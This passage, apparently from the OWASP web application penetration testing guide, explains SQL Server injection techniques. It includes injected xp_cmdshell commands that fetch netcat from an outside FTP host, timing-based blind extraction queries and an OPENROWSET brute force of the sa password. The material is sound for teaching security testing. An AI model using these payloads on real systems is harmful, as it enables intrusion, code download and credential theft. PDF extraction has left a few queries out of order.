1BO4r2U

121 122
Web Application Penetration Testing
Web Application Penetration Testing
SQL Server does not exist or access denied
On the other hand, if the port is open, one of the following errors will
be returned:
General network error. Check your network documentation
OLE DB provider ‘sqloledb’ reported an error. The provider did
not give any information about the error.
Of course, the error message is not always available. If that is the case,
we can use the response time to understand what is going on: with a
closed port, the timeout (5 seconds in this example) will be consumed,
whereas an open port will return the result right away.
Keep in mind that OPENROWSET is enabled by default in SQL Server
2000 but disabled in SQL Server 2005.
Example 8: Upload of executables
Once we can use xp_cmdshell (either the native one or a custom one),
we can easily upload executables on the target DB Server. A very common
choice is netcat.exe, but any trojan will be useful here. If the target
is allowed to start FTP connections to the tester’s machine, all that
is needed is to inject the following queries:
exec master..xp_cmdshell ‘echo open ftp.tester.org > ftpscript.
txt’;--
exec master..xp_cmdshell ‘echo USER >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo PASS >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo bin >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo get nc.exe >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo quit >> ftpscript.txt’;--
exec master..xp_cmdshell ‘ftp -s:ftpscript.txt’;--
At this point, nc.exe will be uploaded and available.
If FTP is not allowed by the firewall, we have a workaround that exploits
the Windows debugger, debug.exe, that is installed by default
in all Windows machines. Debug.exe is scriptable and is able to create
an executable by executing an appropriate script file. What we need
to do is to convert the executable into a debug script (which is a 100%
ASCII file), upload it line by line and finally call debug.exe on it. There
are several tools that create such debug files (e.g.: makescr.exe by Ollie
Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject
will therefore be the following:
exec master..xp_cmdshell ‘echo [debug script line #1 of n] >
debugscript.txt’;--
exec master..xp_cmdshell ‘echo [debug script line #2 of n] >>
debugscript.txt’;--
....
exec master..xp_cmdshell ‘echo [debug script line #n of n] >>
debugscript.txt’;--
exec master..xp_cmdshell ‘debug.exe < debugscript.txt’;--
At this point, our executable is available on the target machine, ready
to be executed. There are tools that automate this process, most notably
Bobcat, which runs on Windows, and Sqlninja, which runs on
Unix (See the tools at the bottom of this page).
Obtain information when it is not displayed (Out of band)
Not all is lost when the web application does not return any information
--such as descriptive error messages (cf. Blind SQL Injection). For
example, it might happen that one has access to the source code (e.g.,
because the web application is based on an open source software).
Then, the pen tester can exploit all the SQL injection vulnerabilities
discovered offline in the web application. Although an IPS might stop
some of these attacks, the best way would be to proceed as follows:
develop and test the attacks in a testbed created for that purpose, and
then execute these attacks against the web application being tested.
Other options for out of band attacks are described in Sample 4 above.
Blind SQL injection attacks
Trial and error
Alternatively, one may play lucky. That is the attacker may assume
that there is a blind or out-of-band SQL injection vulnerability in a the
web application. He will then select an attack vector (e.g., a web entry),
use fuzz vectors (1) against this channel and watch the response. For
example, if the web application is looking for a book using a query
select * from books where title=text entered by the user
then the penetration tester might enter the text: ‘Bomba’ OR 1=1- and
if data is not properly validated, the query will go through and return
the whole list of books. This is evidence that there is a SQL injection
vulnerability. The penetration tester might later play with the queries
in order to assess the criticality of this vulnerability.
If more than one error message is displayed
On the other hand, if no prior information is available, there is still a
possibility of attacking by exploiting any covert channel. It might happen
that descriptive error messages are stopped, yet the error messages
give some information. For example:
• In some cases the web application (actually the web server) might
return the traditional 500: Internal Server Error, say when the application
returns an exception that might be generated, for instance, by a
query with unclosed quotes.
• While in other cases the server will return a 200 OK message, but
the web application will return some error message inserted by the
developers Internal server error or bad data.
This one bit of information might be enough to understand how the
dynamic SQL query is constructed by the web application and tune
up an exploit. Another out-of-band method is to output the results
through HTTP browseable files.
Timing attacks
There is one more possibility for making a blind SQL injection attack
when there is not visible feedback from the application: by measuring
the time that the web application takes to answer a request. An attack
of this sort is described by Anley in ([2]) from where we take the
next examples. A typical approach uses the waitfor delay command:
let’s say that the attacker wants to check if the ‘pubs’ sample database
exists, he will simply inject the following command:
if exists (select * from pubs..pub_info) waitfor delay ‘0:0:5’
Depending on the time that the query takes to return, we will know
the answer. In fact, what we have here is two things: a SQL injection
vulnerability and a covert channel that allows the penetration tester
to get 1 bit of information for each query. Hence, using several
queries (as many queries as bits in the required information) the pen
tester can get any data that is in the database. Look at the following
query
declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay ‘0:0:5’
Measuring the response time and using different values for @i, we
can deduce the length of the name of the current database, and then
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor
delay ‘0:0:5’
start to extract the name itself with the following query:
This query will wait for 5 seconds if bit ‘@bit’ of byte ‘@byte’ of the
name of the current database is 1, and will return at once if it is 0.
Nesting two cycles (one for @byte and one for @bit) we will we able
to extract the whole piece of information.
However, it might happen that the command waitfor is not available
(e.g., because it is filtered by an IPS/web application firewall). This
doesn’t mean that blind SQL injection attacks cannot be done, as the
pen tester should only come up with any time consuming operation
that is not filtered. For example
declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end
Checking for version and vulnerabilities
The same timing approach can be used also to understand which version
of SQL Server we are dealing with. Of course we will leverage the
built-in @@version variable. Consider the following query:
select @@version
OnSQL Server 2005, it will return something like the following:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14
2005 00:33:37
The ‘2005’ part of the string spans from the 22nd to the 25th character.
Therefore, one query to inject can be the following:
Such query will wait 5 seconds if the 25th character of the @@version
variable is ‘5’, showing us that we are dealing with a SQL Server 2005.
If the query returns immediately, we are probably dealing with SQL
Server 2000, and another similar query will help to clear all doubts.
if substring((select @@version),25,1) = 5 waitfor delay ‘0:0:5’
Example 9: bruteforce of sysadmin password
To bruteforce the sysadmin password, we can leverage the fact that
OPENROWSET needs proper credentials to successfully perform the
connection and that such a connection can be also “looped” to the local
DB Server. Combining these features with an inferenced injection
based on response timing, we can inject the following code:
What we do here is to attempt a connection to the local database
(specified by the empty field after ‘SQLOLEDB’) using “sa” and
“” as credentials. If the password is correct and the connection
select * from OPENROWSET(‘SQLOLEDB’,’’;’sa’;’’,’select
1;waitfor delay ‘’0:0:5’’ ‘)
is successful, the query is executed, making the DB wait for 5 seconds
(and also returning a value, since OPENROWSET expects at least one
column). Fetching the candidate passwords from a wordlist and measuring
the time needed for each connection, we can attempt to guess
the correct password. In “Data-mining with SQL Injection and Inference”,
David Litchfield pushes this technique even further, by injecting
a piece of code in order to bruteforce the sysadmin password using
the CPU resources of the DB Server itself.
Once we have the sysadmin password, we have two choices:
• Inject all following queries using OPENROWSET, in order to use sysadmin
privileges
• Add our current user to the sysadmin group using sp_addsrvrolemember.
The current user name can be extracted using inferenced
injection against the variable system_user.
Remember that OPENROWSET is accessible to all users on SQL Server
2000 but it is restricted to administrative accounts on SQL Server
2005.
Tools
• Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power
Injector]
• Northern Monkee: [Bobcat]
• icesurfer: SQL Server Takeover Tool - [sqlninja]
• Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http:/
sqlmap.org/